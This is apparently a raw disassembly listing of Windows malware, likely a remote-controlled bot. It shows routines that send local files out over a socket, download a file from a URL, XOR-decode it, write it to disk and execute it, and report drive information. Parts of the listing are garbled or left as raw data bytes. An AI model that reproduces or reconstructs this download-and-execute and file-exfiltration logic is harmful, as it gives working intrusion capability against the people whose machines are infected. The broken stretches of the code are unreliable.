loc_416556: ; CODE XREF: .nsp0:0041654Aj push esi push eax call near ptr 0B40000h cmp cl, [ecx+0F500845h] mov bh, 45h cld push eax push dword ptr [ebp-1FCh] call sub_40AB6A pop ecx push eax call dword_4D1230 ; inet_addr push eax call dword_4D11EC ; ntohl push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_43F800 push eax call sub_41BF36 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_4099D2 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4D11D8 ; select test eax, eax jg short loc_416606 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_43F7E8 push eax push dword ptr [ebp-1FCh] call sub_4099D2 jmp loc_41672A ; --------------------------------------------------------------------------- loc_416606: ; CODE XREF: .nsp0:004165E4j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4D1284 ; accept cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_41663F push offset unk_43F7C4 loc_41662C: ; CODE XREF: .nsp0:0041646Ej ; .nsp0:004164ACj ... lea eax, [ebp-3FCh] push eax call sub_41BF36 pop ecx pop ecx jmp loc_41672D ; --------------------------------------------------------------------------- loc_41663F: ; CODE XREF: .nsp0:00416625j push edi call dword_4D1288 ; closesocket cmp [ebp+8], esi jz loc_4166F1 mov edi, 400h loc_416654: ; CODE XREF: .nsp0:004166E8j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416661 mov [ebp-4], eax loc_416661: ; CODE XREF: .nsp0:0041665Cj push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BC40 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call dword_427120 ; SetFilePointer lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] call dword_4270E8 ; ReadFile push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4D1240 ; send mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4D1208 ; recv cmp eax, ebx jl near ptr loc_416785+1 mov eax, [ebp-4] cmp eax, ebx jl near ptr loc_416785+1 sub [ebp+8], eax jnz loc_416654 mov edi, [ebp-18h] loc_4166F1: ; CODE XREF: .nsp0:00416649j push dword ptr [ebp-8] call dword_42706C ; CloseHandle push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416F2B pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_43F798 push eax call sub_41BF36 loc_41672A: ; CODE XREF: .nsp0:00416601j add esp, 14h loc_41672D: ; CODE XREF: .nsp0:0041663Aj cmp [ebp-50h], esi jnz short loc_416752 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_4099D2 add esp, 14h loc_416752: ; CODE XREF: .nsp0:00416730j lea eax, [ebp-3FCh] push eax call sub_4157A6 cmp edi, esi pop ecx jbe short loc_41676A push edi call dword_4D1288 ; closesocket loc_41676A: ; CODE XREF: .nsp0:00416761j push dword ptr [ebp-1F8h] call dword_4D1288 ; closesocket push dword ptr [ebp-58h] call sub_40B32A pop ecx push esi call near ptr 0B40000h loc_416785: ; CODE XREF: .nsp0:004166D4j ; .nsp0:004166DFj mov bl, 56h mov esi, offset dword_43F780 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_4099D2 push esi call sub_4157A6 add esp, 18h push dword ptr [ebp-1F8h] call dword_4D1288 ; closesocket push dword ptr [ebp-58h] call sub_40B32A pop ecx push ebx call near ptr 0B40000h lodsd loc_4167C7: ; DATA XREF: .nsp0:004022B6o push ebp mov ebp, esp mov eax, 14C4h call sub_41C1D0 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 0B40000h dec eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4301F8 push eax call sub_41BF36 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_416851 push offset unk_43F8FC jmp short loc_416897 ; --------------------------------------------------------------------------- loc_416851: ; CODE XREF: .nsp0:00416848j push eax call dword_42706C ; CloseHandle lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BBB8 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416879 push offset unk_43F8CC jmp short loc_416897 ; --------------------------------------------------------------------------- loc_416879: ; CODE XREF: .nsp0:00416870j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_4161DE pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_4168AA push offset unk_43F8AC loc_416897: ; CODE XREF: .nsp0:0041684Fj ; .nsp0:00416877j lea eax, [ebp-4C4h] push eax call sub_41BF36 pop ecx pop ecx jmp loc_4169A4 ; --------------------------------------------------------------------------- loc_4168AA: ; CODE XREF: .nsp0:00416890j mov esi, 1000h loc_4168AF: ; CODE XREF: .nsp0:00416915j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4D1208 ; recv mov edi, eax cmp edi, ebx jz loc_416976 cmp edi, 0FFFFFFFFh jz short loc_416917 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D984 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4D11EC ; ntohl mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4D1240 ; send jmp short loc_4168AF ; --------------------------------------------------------------------------- loc_416917: ; CODE XREF: .nsp0:004168DFj lea eax, [ebp-4C4h] push offset dword_43F780 push eax call sub_41BF36 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_4099D2 lea eax, [ebp-4C4h] push eax call sub_4157A6 push dword ptr [ebp-4] call sub_41B90B add esp, 24h push dword ptr [ebp+8] call dword_4D1288 ; closesocket push dword ptr [ebp-1Ch] call sub_40B32A pop ecx push 1 call near ptr 0B40000h push ds loc_416976: ; CODE XREF: .nsp0:004168D6j mov eax, [ebp-8] cdq push edx push eax call sub_416F2B push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_43F880 push eax call sub_41BF36 add esp, 1Ch loc_4169A4: ; CODE XREF: .nsp0:004168A5j cmp [ebp-14h], ebx jnz short loc_4169C9 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_4099D2 add esp, 14h loc_4169C9: ; CODE XREF: .nsp0:004169A7j lea eax, [ebp-4C4h] push eax call sub_4157A6 cmp [ebp-4], ebx pop ecx jz short loc_4169E4 push dword ptr [ebp-4] call sub_41B90B pop ecx loc_4169E4: ; CODE XREF: .nsp0:004169D9j cmp [ebp+8], ebx jbe short loc_4169F2 push dword ptr [ebp+8] call dword_4D1288 ; closesocket loc_4169F2: ; CODE XREF: .nsp0:004169E7j push dword ptr [ebp-1Ch] call sub_40B32A pop ecx push ebx call near ptr 0B40000h loc_416A01: ; DATA XREF: .nsp0:00407CD0o and [ebp-75h], dl in al, dx sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4D11A0 call dword_4D10F4 ; InternetOpenUrlA cmp eax, esi mov [ebp-18h], eax jz loc_416E8E push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call dword_4270EC ; CreateFileA cmp eax, edi mov [ebp-20h], eax jnb short loc_416AC9 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_43FAC8 push eax call sub_41BF36 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416AAC push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 add esp, 14h loc_416AAC: ; CODE XREF: .nsp0:00416A8Aj lea eax, [ebp-510h] push eax call sub_4157A6 push dword ptr [ebp-48h] call sub_40B32A pop ecx pop ecx push esi call near ptr 0B40000h stosd loc_416AC9: ; CODE XREF: .nsp0:00416A6Aj xor edi, edi call dword_4270A8 ; GetTickCount mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BBCB pop ecx mov [ebp-1Ch], eax loc_416AE3: ; CODE XREF: .nsp0:00416BB6j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4D10FC ; InternetReadFile cmp [ebp-34h], esi jz short loc_416B27 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416EF4 pop ecx pop ecx loc_416B27: ; CODE XREF: .nsp0:00416B14j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 0B40000h mov eax, 2273FB3Bh mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416B4F mov eax, [ebp+8] loc_416B4F: ; CODE XREF: .nsp0:00416B4Aj push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call near ptr sub_41C9B0 add esp, 0Ch add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416B72 cmp edi, [ebp-3Ch] ja short loc_416BBC loc_416B72: ; CODE XREF: .nsp0:00416B6Bj cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416B8C shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_43FAA0 jmp short loc_416B9C ; --------------------------------------------------------------------------- loc_416B8C: ; CODE XREF: .nsp0:00416B78j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_43FA78 loc_416B9C: ; CODE XREF: .nsp0:00416B8Aj mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_443F20 push eax call sub_41BF36 add esp, 10h cmp [ebp+8], esi ja loc_416AE3 loc_416BBC: ; CODE XREF: .nsp0:00416B70j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416C11 cmp edi, [ebp-3Ch] jz short loc_416C11 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_43FA4C push eax call sub_41BF36 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 lea eax, [ebp-510h] push eax call sub_4157A6 add esp, 28h loc_416C11: ; CODE XREF: .nsp0:00416BC6j ; .nsp0:00416BCBj call dword_4270A8 ; GetTickCount sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_42706C ; CloseHandle push dword ptr [ebp-1Ch] call sub_41B961 cmp [ebp-38h], esi pop ecx jz short loc_416C9B lea eax, [ebp-148h] push eax call sub_4010C3 cmp eax, [ebp-38h] pop ecx jz short loc_416C9B push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43FA24 push eax call sub_41BF36 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 lea eax, [ebp-510h] push eax call sub_4157A6 add esp, 28h loc_416C9B: ; CODE XREF: .nsp0:00416C43j ; .nsp0:00416C55j cmp [ebp-14h], esi jz loc_416EDB cmp dword ptr [ebp-44h], 1 jz loc_416D96 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_43F9EC push eax call sub_41BF36 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416D16 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 add esp, 14h loc_416D16: ; CODE XREF: .nsp0:00416CF4j lea eax, [ebp-510h] push eax call sub_4157A6 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416EDB push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4D115C ; ShellExecuteA cmp [ebp-30h], esi jnz loc_416EDB lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_43F9D0 push eax call sub_41BF36 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 lea eax, [ebp-510h] push eax call sub_4157A6 add esp, 24h jmp loc_416EDB ; --------------------------------------------------------------------------- loc_416D96: ; CODE XREF: .nsp0:00416CA8j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_43F98C push eax call sub_41BF36 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416DFE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 add esp, 14h loc_416DFE: ; CODE XREF: .nsp0:00416DDCj lea eax, [ebp-510h] push eax call sub_4157A6 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BC40 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BC40 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_443398 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 0B40000h push cs cmp eax, edi jnz short loc_416E80 call dword_4D1148 ; WSACleanup call loc_418B05 push esi call dword_427068 ; ExitProcess loc_416E80: ; CODE XREF: .nsp0:00416E6Cj lea eax, [ebp-148h] push eax push offset unk_43F958 jmp short loc_416E9A ; --------------------------------------------------------------------------- loc_416E8E: ; CODE XREF: .nsp0:00416A47j lea eax, [ebp-248h] push eax push offset unk_43F92C loc_416E9A: ; CODE XREF: .nsp0:00416E8Cj lea eax, [ebp-510h] push eax call sub_41BF36 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416ECE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_4099D2 add esp, 14h loc_416ECE: ; CODE XREF: .nsp0:00416EACj lea eax, [ebp-510h] push eax call sub_4157A6 pop ecx loc_416EDB: ; CODE XREF: .nsp0:00416C9Ej ; .nsp0:00416D27j ... push dword ptr [ebp-18h] call dword_4D1224 ; InternetCloseHandle push dword ptr [ebp-48h] call sub_40B32A pop ecx push esi call near ptr 0B40000h insb ; =============== S U B R O U T I N E ======================================= sub_416EF4 proc near ; CODE XREF: .nsp0:00416B20p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416F10 loc_416F00: ; CODE XREF: sub_416EF4+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416F00 locret_416F10: ; CODE XREF: sub_416EF4+Aj retn sub_416EF4 endp ; =============== S U B R O U T I N E ======================================= sub_416F11 proc near ; CODE XREF: .nsp0:00407298p ; .nsp0:004073CCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DA8E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F2B proc near ; CODE XREF: sub_41011E+45Dp ; sub_41011E+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D8E28 push 0 push edi call sub_41BC40 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416F50: ; CODE XREF: sub_416F2B+5Bj ; sub_416F2B+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DB50 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DAE0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416F8E inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416F50 mov byte ptr [esi], 2Ch inc esi jmp short loc_416F50 ; --------------------------------------------------------------------------- loc_416F8E: ; CODE XREF: sub_416F2B+4Bj dec esi mov eax, edi loc_416F91: ; CODE XREF: sub_416F2B+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416FA0 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416F91 ; --------------------------------------------------------------------------- loc_416FA0: ; CODE XREF: sub_416F2B+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416F2B endp ; =============== S U B R O U T I N E ======================================= sub_416FAA proc near ; CODE XREF: sub_417156+51p ; sub_417156+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4D1250 ; GetDriveTypeA sub eax, 0 jz short loc_416FED dec eax jz short loc_416FE7 dec eax dec eax jz short loc_416FE1 dec eax jz short loc_416FDB dec eax jz short loc_416FD5 dec eax jz short loc_416FCF mov eax, offset word_43FB1C retn ; --------------------------------------------------------------------------- loc_416FCF: ; CODE XREF: sub_416FAA+1Dj mov eax, offset off_43FB18 retn ; --------------------------------------------------------------------------- loc_416FD5: ; CODE XREF: sub_416FAA+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416FDB: ; CODE XREF: sub_416FAA+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416FE1: ; CODE XREF: sub_416FAA+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416FE7: ; CODE XREF: sub_416FAA+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416FED: ; CODE XREF: sub_416FAA+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416FAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FF3 proc near ; CODE XREF: sub_41703B+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4D10E0 test eax, eax jz short loc_417028 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; dword_4D10E0 loc_417028: ; CODE XREF: sub_416FF3+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416FF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41703B proc near ; CODE XREF: sub_417156+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416FF3 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_417113 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_417113 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_417113 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DBD0 push edx push eax call sub_416F2B mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41C030 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DBD0 push edx push eax call sub_416F2B push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C030 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DBD0 push edx push eax call sub_416F2B push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C030 add esp, 18h pop ebx jmp short loc_417142 ; --------------------------------------------------------------------------- loc_417113: ; CODE XREF: sub_41703B+2Cj ; sub_41703B+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41BF36 lea eax, [ebp+var_118] push esi push eax call sub_41BF36 lea eax, [ebp+var_98] push esi push eax call sub_41BF36 add esp, 18h loc_417142: ; CODE XREF: sub_41703B+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_41703B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417156 proc near ; CODE XREF: sub_417228+17p ; sub_417228+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_41703B push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C710 add esp, 10h test eax, eax jnz short loc_4171C9 push ebx push ebx call sub_416FAA pop ecx push eax push offset unk_43FB6C lea eax, [ebp+var_500] push 200h push eax call sub_41C030 add esp, 14h jmp short loc_4171FD ; --------------------------------------------------------------------------- loc_4171C9: ; CODE XREF: sub_417156+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416FAA pop ecx push eax push offset unk_43FB30 lea eax, [ebp+var_500] push 200h push eax call sub_41C030 add esp, 20h loc_4171FD: ; CODE XREF: sub_417156+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_500] push eax call sub_4157A6 add esp, 18h pop edi pop esi pop ebx leave retn sub_417156 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417228 proc near ; CODE XREF: .nsp0:0040401Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_417249 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417156 add esp, 10h jmp short loc_4172AA ; --------------------------------------------------------------------------- loc_417249: ; CODE XREF: sub_417228+9j push esi push edi push ebx push ebx call dword_4D1158 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41BBCB pop ecx mov edi, eax push edi push esi call dword_4D1158 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4172A1 loc_41726D: ; CODE XREF: sub_417228+77j push offset aA_1 ; "A:\\" push esi call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_417290 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_417156 add esp, 10h loc_417290: ; CODE XREF: sub_417228+54j push esi call sub_41B890 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_41726D loc_4172A1: ; CODE XREF: sub_417228+43j push edi call sub_41B961 pop ecx pop edi pop esi loc_4172AA: ; CODE XREF: sub_417228+1Fj pop ebx pop ebp retn sub_417228 endp ; --------------------------------------------------------------------------- byte_4172AD db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:004082ECo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 45AFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 4596E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 0FBCC6850h, 858D0043h, 0FFFFFB64h, 20068h, 11E85000h dd 8300004Dh, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF268Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5AE8FFFFh, 50000000h dd 0FB64858Dh, 0AC68FFFFh, 500043FBh, 4BB9E8h, 24C48300h dd 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh, 0FD68858Dh dd 0FF50FFFFh, 0FFFD64B5h, 2630E8FFh, 0C483FFFFh, 64858D14h dd 50FFFFFBh, 0FFE3F5E8h, 0F075FFFFh, 0FF3F71E8h, 535959FFh dd 728C3FE8h, 5E5F2500h, 0EC8B555Bh, 54CEC81h, 56530000h dd 104BE57h, 75FF0000h, 0B8858D18h, 68FFFFFDh, 43FC10h dd 45E85056h, 8B00004Ch, 42711C3Dh, 10C48300h, 0FEBC858Dh dd 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h, 0F0BBFC45h dd 74004301h, 0BC85F671h, 10FFFFFEh, 0BD805474h, 0FFFFFEE8h dd 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h, 742EFFFFh dd 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh, 50565318h dd 4BE3E8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh, 75FF1475h dd 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h, 858D1C45h dd 0FFFFFEBCh, 0FC75FF50h, 700015FFh, 0C0850042h, 75FF8F75h dd 8B76E8FCh, 0FFF00072h, 858D1475h, 0FFFFFDB8h, 531875FFh dd 91E85056h, 8300004Bh, 858D14C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh, 0FFFFFFFEh dd 8D501C45h, 0FFFAB485h, 1875FFFFh, 43FBF468h, 2006800h dd 0E8500000h, 4B54h, 858D016Ah, 0FFFFFAB4h, 501075FFh dd 0FF0C75FFh, 0DFE80875h, 83FFFF24h, 858D28C4h, 0FFFFFEBCh dd 15FF5650h, 427000h, 0B175C085h, 8AF2E856h, 8B7F0072h dd 5E5F1C45h ; --------------------------------------------------------------------------- pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417517 proc near ; DATA XREF: .nsp0:0040379Do var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41B196 cmp eax, esi mov [ebp+var_4], eax jz short loc_417556 cmp eax, 2 jz short loc_417556 push offset unk_43FDE8 